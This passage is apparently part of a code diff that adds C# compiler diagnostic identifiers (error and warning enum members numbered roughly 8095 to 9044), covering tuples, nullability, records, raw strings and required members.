ERR_ConstantStringTooLong = 8095, + ERR_DebugEntryPointNotSourceMethodDefinition = 8096, + ERR_LoadDirectiveOnlyAllowedInScripts = 8097, + ERR_PPLoadFollowsToken = 8098, + ERR_SourceFileReferencesNotSupported = 8099, + ERR_BadAwaitInStaticVariableInitializer = 8100, + ERR_InvalidPathMap = 8101, + ERR_PublicSignButNoKey = 8102, + ERR_TooManyUserStrings = 8103, + ERR_PeWritingFailure = 8104, + WRN_AttributeIgnoredWhenPublicSigning = 8105, + ERR_OptionMustBeAbsolutePath = 8106, + ERR_FeatureNotAvailableInVersion7 = 8107, + ERR_DynamicLocalFunctionParamsParameter = 8108, + ERR_ExpressionTreeContainsLocalFunction = 8110, + ERR_InvalidInstrumentationKind = 8111, + ERR_LocalFunctionMissingBody = 8112, + ERR_InvalidHashAlgorithmName = 8113, + ERR_ThrowMisplaced = 8115, + ERR_PatternNullableType = 8116, + ERR_BadPatternExpression = 8117, + ERR_SwitchExpressionValueExpected = 8119, + ERR_SwitchCaseSubsumed = 8120, + ERR_PatternWrongType = 8121, + ERR_ExpressionTreeContainsIsMatch = 8122, + WRN_TupleLiteralNameMismatch = 8123, + ERR_TupleTooFewElements = 8124, + ERR_TupleReservedElementName = 8125, + ERR_TupleReservedElementNameAnyPosition = 8126, + ERR_TupleDuplicateElementName = 8127, + ERR_PredefinedTypeMemberNotFoundInAssembly = 8128, + ERR_MissingDeconstruct = 8129, + ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable = 8130, + ERR_DeconstructRequiresExpression = 8131, + ERR_DeconstructWrongCardinality = 8132, + ERR_CannotDeconstructDynamic = 8133, + ERR_DeconstructTooFewElements = 8134, + ERR_ConversionNotTupleCompatible = 8135, + ERR_DeconstructionVarFormDisallowsSpecificType = 8136, + ERR_TupleElementNamesAttributeMissing = 8137, + ERR_ExplicitTupleElementNamesAttribute = 8138, + ERR_CantChangeTupleNamesOnOverride = 8139, + ERR_DuplicateInterfaceWithTupleNamesInBaseList = 8140, + ERR_ImplBadTupleNames = 8141, + ERR_PartialMethodInconsistentTupleNames = 8142, + ERR_ExpressionTreeContainsTupleLiteral = 8143, + ERR_ExpressionTreeContainsTupleConversion = 8144, + ERR_AutoPropertyCannotBeRefReturning = 8145, + ERR_RefPropertyMustHaveGetAccessor = 8146, + ERR_RefPropertyCannotHaveSetAccessor = 8147, + ERR_CantChangeRefReturnOnOverride = 8148, + ERR_MustNotHaveRefReturn = 8149, + ERR_MustHaveRefReturn = 8150, + ERR_RefReturnMustHaveIdentityConversion = 8151, + ERR_CloseUnimplementedInterfaceMemberWrongRefReturn = 8152, + ERR_RefReturningCallInExpressionTree = 8153, + ERR_BadIteratorReturnRef = 8154, + ERR_BadRefReturnExpressionTree = 8155, + ERR_RefReturnLvalueExpected = 8156, + ERR_RefReturnNonreturnableLocal = 8157, + ERR_RefReturnNonreturnableLocal2 = 8158, + ERR_RefReturnRangeVariable = 8159, + ERR_RefReturnReadonly = 8160, + ERR_RefReturnReadonlyStatic = 8161, + ERR_RefReturnReadonly2 = 8162, + ERR_RefReturnReadonlyStatic2 = 8163, + ERR_RefReturnParameter = 8166, + ERR_RefReturnParameter2 = 8167, + ERR_RefReturnLocal = 8168, + ERR_RefReturnLocal2 = 8169, + ERR_RefReturnStructThis = 8170, + ERR_InitializeByValueVariableWithReference = 8171, + ERR_InitializeByReferenceVariableWithValue = 8172, + ERR_RefAssignmentMustHaveIdentityConversion = 8173, + ERR_ByReferenceVariableMustBeInitialized = 8174, + ERR_AnonDelegateCantUseLocal = 8175, + ERR_BadIteratorLocalType = 8176, + ERR_BadAsyncLocalType = 8177, + ERR_RefReturningCallAndAwait = 8178, + ERR_PredefinedValueTupleTypeNotFound = 8179, + ERR_SemiOrLBraceOrArrowExpected = 8180, + ERR_NewWithTupleTypeSyntax = 8181, + ERR_PredefinedValueTupleTypeMustBeStruct = 8182, + ERR_DiscardTypeInferenceFailed = 8183, + ERR_DeclarationExpressionNotPermitted = 8185, + ERR_MustDeclareForeachIteration = 8186, + ERR_TupleElementNamesInDeconstruction = 8187, + ERR_ExpressionTreeContainsThrowExpression = 8188, + ERR_DelegateRefMismatch = 8189, + ERR_BadSourceCodeKind = 8190, + ERR_BadDocumentationMode = 8191, + ERR_BadLanguageVersion = 8192, + ERR_ImplicitlyTypedOutVariableUsedInTheSameArgumentList = 8196, + ERR_TypeInferenceFailedForImplicitlyTypedOutVariable = 8197, + ERR_ExpressionTreeContainsOutVariable = 8198, + ERR_VarInvocationLvalueReserved = 8199, + ERR_PublicSignNetModule = 8202, + ERR_BadAssemblyName = 8203, + ERR_BadAsyncMethodBuilderTaskProperty = 8204, + ERR_TypeForwardedToMultipleAssemblies = 8206, + ERR_ExpressionTreeContainsDiscard = 8207, + ERR_PatternDynamicType = 8208, + ERR_VoidAssignment = 8209, + ERR_VoidInTuple = 8210, + ERR_Merge_conflict_marker_encountered = 8300, + ERR_InvalidPreprocessingSymbol = 8301, + ERR_FeatureNotAvailableInVersion7_1 = 8302, + ERR_LanguageVersionCannotHaveLeadingZeroes = 8303, + ERR_CompilerAndLanguageVersion = 8304, + WRN_WindowsExperimental = 8305, + ERR_TupleInferredNamesNotAvailable = 8306, + ERR_TypelessTupleInAs = 8307, + ERR_NoRefOutWhenRefOnly = 8308, + ERR_NoNetModuleOutputWhenRefOutOrRefOnly = 8309, + ERR_BadOpOnNullOrDefaultOrNew = 8310, + ERR_DefaultLiteralNotValid = 8312, + ERR_PatternWrongGenericTypeInVersion = 8314, + ERR_AmbigBinaryOpsOnDefault = 8315, + ERR_FeatureNotAvailableInVersion7_2 = 8320, + WRN_UnreferencedLocalFunction = 8321, + ERR_DynamicLocalFunctionTypeParameter = 8322, + ERR_BadNonTrailingNamedArgument = 8323, + ERR_NamedArgumentSpecificationBeforeFixedArgumentInDynamicInvocation = 8324, + ERR_RefConditionalAndAwait = 8325, + ERR_RefConditionalNeedsTwoRefs = 8326, + ERR_RefConditionalDifferentTypes = 8327, + ERR_BadParameterModifiers = 8328, + ERR_RefReadonlyNotField = 8329, + ERR_RefReadonlyNotField2 = 8330, + ERR_AssignReadonlyNotField = 8331, + ERR_AssignReadonlyNotField2 = 8332, + ERR_RefReturnReadonlyNotField = 8333, + ERR_RefReturnReadonlyNotField2 = 8334, + ERR_ExplicitReservedAttr = 8335, + ERR_TypeReserved = 8336, + ERR_RefExtensionMustBeValueTypeOrConstrainedToOne = 8337, + ERR_InExtensionMustBeValueType = 8338, + ERR_FieldsInRoStruct = 8340, + ERR_AutoPropsInRoStruct = 8341, + ERR_FieldlikeEventsInRoStruct = 8342, + ERR_RefStructInterfaceImpl = 8343, + ERR_BadSpecialByRefIterator = 8344, + ERR_FieldAutoPropCantBeByRefLike = 8345, + ERR_StackAllocConversionNotPossible = 8346, + ERR_EscapeCall = 8347, + ERR_EscapeCall2 = 8348, + ERR_EscapeOther = 8349, + ERR_CallArgMixing = 8350, + ERR_MismatchedRefEscapeInTernary = 8351, + ERR_EscapeVariable = 8352, + ERR_EscapeStackAlloc = 8353, + ERR_RefReturnThis = 8354, + ERR_OutAttrOnInParam = 8355, + ERR_PredefinedValueTupleTypeAmbiguous3 = 8356, + ERR_InvalidVersionFormatDeterministic = 8357, + ERR_AttributeCtorInParameter = 8358, + WRN_FilterIsConstantFalse = 8359, + WRN_FilterIsConstantFalseRedundantTryCatch = 8360, + ERR_ConditionalInInterpolation = 8361, + ERR_CantUseVoidInArglist = 8362, + ERR_InDynamicMethodArg = 8364, + ERR_FeatureNotAvailableInVersion7_3 = 8370, + WRN_AttributesOnBackingFieldsNotAvailable = 8371, + ERR_DoNotUseFixedBufferAttrOnProperty = 8372, + ERR_RefLocalOrParamExpected = 8373, + ERR_RefAssignNarrower = 8374, + ERR_NewBoundWithUnmanaged = 8375, + ERR_UnmanagedConstraintNotSatisfied = 8377, + ERR_CantUseInOrOutInArglist = 8378, + ERR_ConWithUnmanagedCon = 8379, + ERR_UnmanagedBoundWithClass = 8380, + ERR_InvalidStackAllocArray = 8381, + ERR_ExpressionTreeContainsTupleBinOp = 8382, + WRN_TupleBinopLiteralNameMismatch = 8383, + ERR_TupleSizesMismatchForBinOps = 8384, + ERR_ExprCannotBeFixed = 8385, + ERR_InvalidObjectCreation = 8386, + WRN_TypeParameterSameAsOuterMethodTypeParameter = 8387, + ERR_OutVariableCannotBeByRef = 8388, + ERR_OmittedTypeArgument = 8389, + ERR_FeatureNotAvailableInVersion8 = 8400, + ERR_AltInterpolatedVerbatimStringsNotAvailable = 8401, + ERR_IteratorMustBeAsync = 8403, + ERR_NoConvToIAsyncDisp = 8410, + ERR_AwaitForEachMissingMember = 8411, + ERR_BadGetAsyncEnumerator = 8412, + ERR_MultipleIAsyncEnumOfT = 8413, + ERR_ForEachMissingMemberWrongAsync = 8414, + ERR_AwaitForEachMissingMemberWrongAsync = 8415, + ERR_BadDynamicAwaitForEach = 8416, + ERR_NoConvToIAsyncDispWrongAsync = 8417, + ERR_NoConvToIDispWrongAsync = 8418, + ERR_PossibleAsyncIteratorWithoutYield = 8419, + ERR_PossibleAsyncIteratorWithoutYieldOrAwait = 8420, + ERR_StaticLocalFunctionCannotCaptureVariable = 8421, + ERR_StaticLocalFunctionCannotCaptureThis = 8422, + ERR_AttributeNotOnEventAccessor = 8423, + WRN_UnconsumedEnumeratorCancellationAttributeUsage = 8424, + WRN_UndecoratedCancellationTokenParameter = 8425, + ERR_MultipleEnumeratorCancellationAttributes = 8426, + ERR_VarianceInterfaceNesting = 8427, + ERR_ImplicitIndexIndexerWithName = 8428, + ERR_ImplicitRangeIndexerWithName = 8429, + WRN_ManagedAddr = 8500, + ERR_WrongNumberOfSubpatterns = 8502, + ERR_PropertyPatternNameMissing = 8503, + ERR_MissingPattern = 8504, + ERR_DefaultPattern = 8505, + ERR_SwitchExpressionNoBestType = 8506, + ERR_VarMayNotBindToType = 8508, + WRN_SwitchExpressionNotExhaustive = 8509, + ERR_SwitchArmSubsumed = 8510, + ERR_ConstantPatternVsOpenType = 8511, + WRN_CaseConstantNamedUnderscore = 8512, + WRN_IsTypeNamedUnderscore = 8513, + ERR_ExpressionTreeContainsSwitchExpression = 8514, + ERR_SwitchGoverningExpressionRequiresParens = 8515, + ERR_TupleElementNameMismatch = 8516, + ERR_DeconstructParameterNameMismatch = 8517, + ERR_IsPatternImpossible = 8518, + WRN_GivenExpressionNeverMatchesPattern = 8519, + WRN_GivenExpressionAlwaysMatchesConstant = 8520, + ERR_PointerTypeInPatternMatching = 8521, + ERR_ArgumentNameInITuplePattern = 8522, + ERR_DiscardPatternInSwitchStatement = 8523, + WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue = 8524, + WRN_ThrowPossibleNull = 8597, + ERR_IllegalSuppression = 8598, + WRN_ConvertingNullableToNonNullable = 8600, + WRN_NullReferenceAssignment = 8601, + WRN_NullReferenceReceiver = 8602, + WRN_NullReferenceReturn = 8603, + WRN_NullReferenceArgument = 8604, + WRN_UnboxPossibleNull = 8605, + WRN_DisallowNullAttributeForbidsMaybeNullAssignment = 8607, + WRN_NullabilityMismatchInTypeOnOverride = 8608, + WRN_NullabilityMismatchInReturnTypeOnOverride = 8609, + WRN_NullabilityMismatchInParameterTypeOnOverride = 8610, + WRN_NullabilityMismatchInParameterTypeOnPartial = 8611, + WRN_NullabilityMismatchInTypeOnImplicitImplementation = 8612, + WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation = 8613, + WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation = 8614, + WRN_NullabilityMismatchInTypeOnExplicitImplementation = 8615, + WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation = 8616, + WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation = 8617, + WRN_UninitializedNonNullableField = 8618, + WRN_NullabilityMismatchInAssignment = 8619, + WRN_NullabilityMismatchInArgument = 8620, + WRN_NullabilityMismatchInReturnTypeOfTargetDelegate = 8621, + WRN_NullabilityMismatchInParameterTypeOfTargetDelegate = 8622, + ERR_ExplicitNullableAttribute = 8623, + WRN_NullabilityMismatchInArgumentForOutput = 8624, + WRN_NullAsNonNullable = 8625, + ERR_NullableUnconstrainedTypeParameter = 8627, + ERR_AnnotationDisallowedInObjectCreation = 8628, + WRN_NullableValueTypeMayBeNull = 8629, + ERR_NullableOptionNotAvailable = 8630, + WRN_NullabilityMismatchInTypeParameterConstraint = 8631, + WRN_MissingNonNullTypesContextForAnnotation = 8632, + WRN_NullabilityMismatchInConstraintsOnImplicitImplementation = 8633, + WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint = 8634, + ERR_TripleDotNotAllowed = 8635, + ERR_BadNullableContextOption = 8636, + ERR_NullableDirectiveQualifierExpected = 8637, + ERR_BadNullableTypeof = 8639, + ERR_ExpressionTreeCantContainRefStruct = 8640, + ERR_ElseCannotStartStatement = 8641, + ERR_ExpressionTreeCantContainNullCoalescingAssignment = 8642, + WRN_NullabilityMismatchInExplicitlyImplementedInterface = 8643, + WRN_NullabilityMismatchInInterfaceImplementedByBase = 8644, + WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList = 8645, + ERR_DuplicateExplicitImpl = 8646, + ERR_UsingVarInSwitchCase = 8647, + ERR_GoToForwardJumpOverUsingVar = 8648, + ERR_GoToBackwardJumpOverUsingVar = 8649, + ERR_IsNullableType = 8650, + ERR_AsNullableType = 8651, + ERR_FeatureInPreview = 8652, + WRN_SwitchExpressionNotExhaustiveForNull = 8655, + WRN_ImplicitCopyInReadOnlyMember = 8656, + ERR_StaticMemberCantBeReadOnly = 8657, + ERR_AutoSetterCantBeReadOnly = 8658, + ERR_AutoPropertyWithSetterCantBeReadOnly = 8659, + ERR_InvalidPropertyReadOnlyMods = 8660, + ERR_DuplicatePropertyReadOnlyMods = 8661, + ERR_FieldLikeEventCantBeReadOnly = 8662, + ERR_PartialMethodReadOnlyDifference = 8663, + ERR_ReadOnlyModMissingAccessor = 8664, + ERR_OverrideRefConstraintNotSatisfied = 8665, + ERR_OverrideValConstraintNotSatisfied = 8666, + WRN_NullabilityMismatchInConstraintsOnPartialImplementation = 8667, + ERR_NullableDirectiveTargetExpected = 8668, + WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode = 8669, + WRN_NullReferenceInitializer = 8670, + ERR_MultipleAnalyzerConfigsInSameDir = 8700, + ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation = 8701, + ERR_RuntimeDoesNotSupportDefaultInterfaceImplementationForMember = 8702, + ERR_InvalidModifierForLanguageVersion = 8703, + ERR_ImplicitImplementationOfNonPublicInterfaceMember = 8704, + ERR_MostSpecificImplementationIsNotFound = 8705, + ERR_LanguageVersionDoesNotSupportInterfaceImplementationForMember = 8706, + ERR_RuntimeDoesNotSupportProtectedAccessForInterfaceMember = 8707, + ERR_DefaultInterfaceImplementationInNoPIAType = 8711, + ERR_AbstractEventHasAccessors = 8712, + WRN_NullabilityMismatchInTypeParameterNotNullConstraint = 8714, + ERR_DuplicateNullSuppression = 8715, + ERR_DefaultLiteralNoTargetType = 8716, + ERR_ReAbstractionInNoPIAType = 8750, + ERR_InternalError = 8751, + ERR_ImplicitObjectCreationIllegalTargetType = 8752, + ERR_ImplicitObjectCreationNotValid = 8753, + ERR_ImplicitObjectCreationNoTargetType = 8754, + ERR_BadFuncPointerParamModifier = 8755, + ERR_BadFuncPointerArgCount = 8756, + ERR_MethFuncPtrMismatch = 8757, + ERR_FuncPtrRefMismatch = 8758, + ERR_FuncPtrMethMustBeStatic = 8759, + ERR_ExternEventInitializer = 8760, + ERR_AmbigBinaryOpsOnUnconstrainedDefault = 8761, + WRN_ParameterConditionallyDisallowsNull = 8762, + WRN_ShouldNotReturn = 8763, + WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride = 8764, + WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride = 8765, + WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation = 8766, + WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation = 8767, + WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation = 8768, + WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation = 8769, + WRN_DoesNotReturnMismatch = 8770, + ERR_NoOutputDirectory = 8771, + ERR_StdInOptionProvidedButConsoleInputIsNotRedirected = 8772, + ERR_FeatureNotAvailableInVersion9 = 8773, + WRN_MemberNotNull = 8774, + WRN_MemberNotNullWhen = 8775, + WRN_MemberNotNullBadMember = 8776, + WRN_ParameterDisallowsNull = 8777, + WRN_ConstOutOfRangeChecked = 8778, + ERR_DuplicateInterfaceWithDifferencesInBaseList = 8779, + ERR_DesignatorBeneathPatternCombinator = 8780, + ERR_UnsupportedTypeForRelationalPattern = 8781, + ERR_RelationalPatternWithNaN = 8782, + ERR_ConditionalOnLocalFunction = 8783, + WRN_GeneratorFailedDuringInitialization = 8784, + WRN_GeneratorFailedDuringGeneration = 8785, + ERR_WrongFuncPtrCallingConvention = 8786, + ERR_MissingAddressOf = 8787, + ERR_CannotUseReducedExtensionMethodInAddressOf = 8788, + ERR_CannotUseFunctionPointerAsFixedLocal = 8789, + ERR_ExpressionTreeContainsPatternImplicitIndexer = 8790, + ERR_ExpressionTreeContainsFromEndIndexExpression = 8791, + ERR_ExpressionTreeContainsRangeExpression = 8792, + WRN_GivenExpressionAlwaysMatchesPattern = 8793, + WRN_IsPatternAlways = 8794, + ERR_PartialMethodWithAccessibilityModsMustHaveImplementation = 8795, + ERR_PartialMethodWithNonVoidReturnMustHaveAccessMods = 8796, + ERR_PartialMethodWithOutParamMustHaveAccessMods = 8797, + ERR_PartialMethodWithExtendedModMustHaveAccessMods = 8798, + ERR_PartialMethodAccessibilityDifference = 8799, + ERR_PartialMethodExtendedModDifference = 8800, + ERR_SimpleProgramLocalIsReferencedOutsideOfTopLevelStatement = 8801, + ERR_SimpleProgramMultipleUnitsWithTopLevelStatements = 8802, + ERR_TopLevelStatementAfterNamespaceOrType = 8803, + ERR_SimpleProgramDisallowsMainType = 8804, + ERR_SimpleProgramNotAnExecutable = 8805, + ERR_UnsupportedCallingConvention = 8806, + ERR_InvalidFunctionPointerCallingConvention = 8807, + ERR_InvalidFuncPointerReturnTypeModifier = 8808, + ERR_DupReturnTypeMod = 8809, + ERR_AddressOfMethodGroupInExpressionTree = 8810, + ERR_CannotConvertAddressOfToDelegate = 8811, + ERR_AddressOfToNonFunctionPointer = 8812, + ERR_ModuleInitializerMethodMustBeOrdinary = 8813, + ERR_ModuleInitializerMethodMustBeAccessibleOutsideTopLevelType = 8814, + ERR_ModuleInitializerMethodMustBeStaticParameterlessVoid = 8815, + ERR_ModuleInitializerMethodAndContainingTypesMustNotBeGeneric = 8816, + ERR_PartialMethodReturnTypeDifference = 8817, + ERR_PartialMethodRefReturnDifference = 8818, + WRN_NullabilityMismatchInReturnTypeOnPartial = 8819, + ERR_StaticAnonymousFunctionCannotCaptureVariable = 8820, + ERR_StaticAnonymousFunctionCannotCaptureThis = 8821, + ERR_OverrideDefaultConstraintNotSatisfied = 8822, + ERR_DefaultConstraintOverrideOnly = 8823, + WRN_ParameterNotNullIfNotNull = 8824, + WRN_ReturnNotNullIfNotNull = 8825, + WRN_PartialMethodTypeDifference = 8826, + ERR_RuntimeDoesNotSupportCovariantReturnsOfClasses = 8830, + ERR_RuntimeDoesNotSupportCovariantPropertiesOfClasses = 8831, + WRN_SwitchExpressionNotExhaustiveWithWhen = 8846, + WRN_SwitchExpressionNotExhaustiveForNullWithWhen = 8847, + WRN_PrecedenceInversion = 8848, + ERR_ExpressionTreeContainsWithExpression = 8849, + WRN_AnalyzerReferencesFramework = 8850, + WRN_RecordEqualsWithoutGetHashCode = 8851, + ERR_AssignmentInitOnly = 8852, + ERR_CantChangeInitOnlyOnOverride = 8853, + ERR_CloseUnimplementedInterfaceMemberWrongInitOnly = 8854, + ERR_ExplicitPropertyMismatchInitOnly = 8855, + ERR_BadInitAccessor = 8856, + ERR_InvalidWithReceiverType = 8857, + ERR_CannotClone = 8858, + ERR_CloneDisallowedInRecord = 8859, + WRN_RecordNamedDisallowed = 8860, + ERR_UnexpectedArgumentList = 8861, + ERR_UnexpectedOrMissingConstructorInitializerInRecord = 8862, + ERR_MultipleRecordParameterLists = 8863, + ERR_BadRecordBase = 8864, + ERR_BadInheritanceFromRecord = 8865, + ERR_BadRecordMemberForPositionalParameter = 8866, + ERR_NoCopyConstructorInBaseType = 8867, + ERR_CopyConstructorMustInvokeBaseCopyConstructor = 8868, + ERR_DoesNotOverrideMethodFromObject = 8869, + ERR_SealedAPIInRecord = 8870, + ERR_DoesNotOverrideBaseMethod = 8871, + ERR_NotOverridableAPIInRecord = 8872, + ERR_NonPublicAPIInRecord = 8873, + ERR_SignatureMismatchInRecord = 8874, + ERR_NonProtectedAPIInRecord = 8875, + ERR_DoesNotOverrideBaseEqualityContract = 8876, + ERR_StaticAPIInRecord = 8877, + ERR_CopyConstructorWrongAccessibility = 8878, + ERR_NonPrivateAPIInRecord = 8879, + WRN_UnassignedThisAutoPropertyUnsupportedVersion = 8880, + WRN_UnassignedThisUnsupportedVersion = 8881, + WRN_ParamUnassigned = 8882, + WRN_UseDefViolationProperty = 8883, + WRN_UseDefViolationField = 8884, + WRN_UseDefViolationThisUnsupportedVersion = 8885, + WRN_UseDefViolationOut = 8886, + WRN_UseDefViolation = 8887, + ERR_CannotSpecifyManagedWithUnmanagedSpecifiers = 8888, + ERR_RuntimeDoesNotSupportUnmanagedDefaultCallConv = 8889, + ERR_TypeNotFound = 8890, + ERR_TypeMustBePublic = 8891, + WRN_SyncAndAsyncEntryPoints = 8892, + ERR_InvalidUnmanagedCallersOnlyCallConv = 8893, + ERR_CannotUseManagedTypeInUnmanagedCallersOnly = 8894, + ERR_UnmanagedCallersOnlyMethodOrTypeCannotBeGeneric = 8895, + ERR_UnmanagedCallersOnlyRequiresStatic = 8896, + WRN_ParameterIsStaticClass = 8897, + WRN_ReturnTypeIsStaticClass = 8898, + ERR_EntryPointCannotBeUnmanagedCallersOnly = 8899, + ERR_ModuleInitializerCannotBeUnmanagedCallersOnly = 8900, + ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly = 8901, + ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate = 8902, + ERR_InitCannotBeReadonly = 8903, + ERR_UnexpectedVarianceStaticMember = 8904, + ERR_FunctionPointersCannotBeCalledWithNamedArguments = 8905, + ERR_EqualityContractRequiresGetter = 8906, + WRN_UnreadRecordParameter = 8907, + ERR_BadFieldTypeInRecord = 8908, + WRN_DoNotCompareFunctionPointers = 8909, + ERR_RecordAmbigCtor = 8910, + ERR_FunctionPointerTypesInAttributeNotSupported = 8911, + ERR_InheritingFromRecordWithSealedToString = 8912, + ERR_HiddenPositionalMember = 8913, + ERR_GlobalUsingInNamespace = 8914, + ERR_GlobalUsingOutOfOrder = 8915, + ERR_AttributesRequireParenthesizedLambdaExpression = 8916, + ERR_CannotInferDelegateType = 8917, + ERR_InvalidNameInSubpattern = 8918, + ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces = 8919, + ERR_GenericConstraintNotSatisfiedInterfaceWithStaticAbstractMembers = 8920, + ERR_BadAbstractUnaryOperatorSignature = 8921, + ERR_BadAbstractIncDecSignature = 8922, + ERR_BadAbstractIncDecRetType = 8923, + ERR_BadAbstractBinaryOperatorSignature = 8924, + ERR_BadAbstractShiftOperatorSignature = 8925, + ERR_BadAbstractStaticMemberAccess = 8926, + ERR_ExpressionTreeContainsAbstractStaticMemberAccess = 8927, + ERR_CloseUnimplementedInterfaceMemberNotStatic = 8928, + ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfacesForMember = 8929, + ERR_ExplicitImplementationOfOperatorsMustBeStatic = 8930, + ERR_AbstractConversionNotInvolvingContainedType = 8931, + ERR_InterfaceImplementedByUnmanagedCallersOnlyMethod = 8932, + HDN_DuplicateWithGlobalUsing = 8933, + ERR_CantConvAnonMethReturnType = 8934, + ERR_BuilderAttributeDisallowed = 8935, + ERR_FeatureNotAvailableInVersion10 = 8936, + ERR_SimpleProgramIsEmpty = 8937, + ERR_LineSpanDirectiveInvalidValue = 8938, + ERR_LineSpanDirectiveEndLessThanStart = 8939, + ERR_WrongArityAsyncReturn = 8940, + ERR_InterpolatedStringHandlerMethodReturnMalformed = 8941, + ERR_InterpolatedStringHandlerMethodReturnInconsistent = 8942, + ERR_NullInvalidInterpolatedStringHandlerArgumentName = 8943, + ERR_NotInstanceInvalidInterpolatedStringHandlerArgumentName = 8944, + ERR_InvalidInterpolatedStringHandlerArgumentName = 8945, + ERR_TypeIsNotAnInterpolatedStringHandlerType = 8946, + WRN_ParameterOccursAfterInterpolatedStringHandlerParameter = 8947, + ERR_CannotUseSelfAsInterpolatedStringHandlerArgument = 8948, + ERR_InterpolatedStringHandlerArgumentAttributeMalformed = 8949, + ERR_InterpolatedStringHandlerArgumentLocatedAfterInterpolatedString = 8950, + ERR_InterpolatedStringHandlerArgumentOptionalNotSpecified = 8951, + ERR_ExpressionTreeContainsInterpolatedStringHandlerConversion = 8952, + ERR_InterpolatedStringHandlerCreationCannotUseDynamic = 8953, + ERR_MultipleFileScopedNamespace = 8954, + ERR_FileScopedAndNormalNamespace = 8955, + ERR_FileScopedNamespaceNotBeforeAllMembers = 8956, + ERR_NoImplicitConvTargetTypedConditional = 8957, + ERR_NonPublicParameterlessStructConstructor = 8958, + ERR_NoConversionForCallerArgumentExpressionParam = 8959, + WRN_CallerLineNumberPreferredOverCallerArgumentExpression = 8960, + WRN_CallerFilePathPreferredOverCallerArgumentExpression = 8961, + WRN_CallerMemberNamePreferredOverCallerArgumentExpression = 8962, + WRN_CallerArgumentExpressionAttributeHasInvalidParameterName = 8963, + ERR_BadCallerArgumentExpressionParamWithoutDefaultValue = 8964, + WRN_CallerArgumentExpressionAttributeSelfReferential = 8965, + WRN_CallerArgumentExpressionParamForUnconsumedLocation = 8966, + ERR_NewlinesAreNotAllowedInsideANonVerbatimInterpolatedString = 8967, + ERR_AttrTypeArgCannotBeTypeVar = 8968, + ERR_AttrDependentTypeNotAllowed = 8970, + WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters = 8971, + ERR_LambdaWithAttributesToExpressionTree = 8972, + WRN_CompileTimeCheckedOverflow = 8973, + WRN_MethGrpToNonDel = 8974, + ERR_LambdaExplicitReturnTypeVar = 8975, + ERR_InterpolatedStringsReferencingInstanceCannotBeInObjectInitializers = 8976, + ERR_CannotUseRefInUnmanagedCallersOnly = 8977, + ERR_CannotBeMadeNullable = 8978, + ERR_UnsupportedTypeForListPattern = 8979, + ERR_MisplacedSlicePattern = 8980, + WRN_LowerCaseTypeName = 8981, + ERR_RecordStructConstructorCallsDefaultConstructor = 8982, + ERR_StructHasInitializersAndNoDeclaredConstructor = 8983, + ERR_EncUpdateFailedDelegateTypeChanged = 8984, + ERR_ListPatternRequiresLength = 8985, + ERR_ScopedMismatchInParameterOfTarget = 8986, + ERR_ScopedMismatchInParameterOfOverrideOrImplementation = 8987, + ERR_ScopedMismatchInParameterOfPartial = 8988, + ERR_ParameterNullCheckingNotSupported = 8989, + ERR_RawStringNotInDirectives = 8996, + ERR_UnterminatedRawString = 8997, + ERR_TooManyQuotesForRawString = 8998, + ERR_LineDoesNotStartWithSameWhitespace = 8999, + ERR_RawStringDelimiterOnOwnLine = 9000, + ERR_RawStringInVerbatimInterpolatedStrings = 9001, + ERR_RawStringMustContainContent = 9002, + ERR_LineContainsDifferentWhitespace = 9003, + ERR_NotEnoughQuotesForRawString = 9004, + ERR_NotEnoughCloseBracesForRawString = 9005, + ERR_TooManyOpenBracesForRawString = 9006, + ERR_TooManyCloseBracesForRawString = 9007, + ERR_IllegalAtSequence = 9008, + ERR_StringMustStartWithQuoteCharacter = 9009, + ERR_NoEnumConstraint = 9010, + ERR_NoDelegateConstraint = 9011, + ERR_MisplacedRecord = 9012, + ERR_PatternSpanCharCannotBeStringNull = 9013, + ERR_UseDefViolationPropertyUnsupportedVersion = 9014, + ERR_UseDefViolationFieldUnsupportedVersion = 9015, + WRN_UseDefViolationPropertyUnsupportedVersion = 9016, + WRN_UseDefViolationFieldUnsupportedVersion = 9017, + WRN_UseDefViolationPropertySupportedVersion = 9018, + WRN_UseDefViolationFieldSupportedVersion = 9019, + WRN_UseDefViolationThisSupportedVersion = 9020, + WRN_UnassignedThisAutoPropertySupportedVersion = 9021, + WRN_UnassignedThisSupportedVersion = 9022, + ERR_OperatorCantBeChecked = 9023, + ERR_ImplicitConversionOperatorCantBeChecked = 9024, + ERR_CheckedOperatorNeedsMatch = 9025, + ERR_CannotBeConvertedToUtf8 = 9026, + ERR_MisplacedUnchecked = 9027, + ERR_LineSpanDirectiveRequiresSpace = 9028, + ERR_RequiredNameDisallowed = 9029, + ERR_OverrideMustHaveRequired = 9030, + ERR_RequiredMemberCannotBeHidden = 9031, + ERR_RequiredMemberCannotBeLessVisibleThanContainingType = 9032, + ERR_ExplicitRequiredMember = 9033, + ERR_RequiredMemberMustBeSettable = 9034, + ERR_RequiredMemberMustBeSet = 9035, + ERR_RequiredMembersMustBeAssignedValue = 9036, + ERR_RequiredMembersInvalid = 9037, + ERR_RequiredMembersBaseTypeInvalid = 9038, + ERR_ChainingToSetsRequiredMembersRequiresSetsRequiredMembers = 9039, + ERR_NewConstraintCannotHaveRequiredMembers = 9040, + ERR_UnsupportedCompilerFeature = 9041, + WRN_ObsoleteMembersShouldNotBeRequired = 9042, + ERR_RefReturningPropertiesCannotBeRequired = 9043, + ERR_ImplicitImplementationOfInaccessibleInterfaceMember = 9044, + 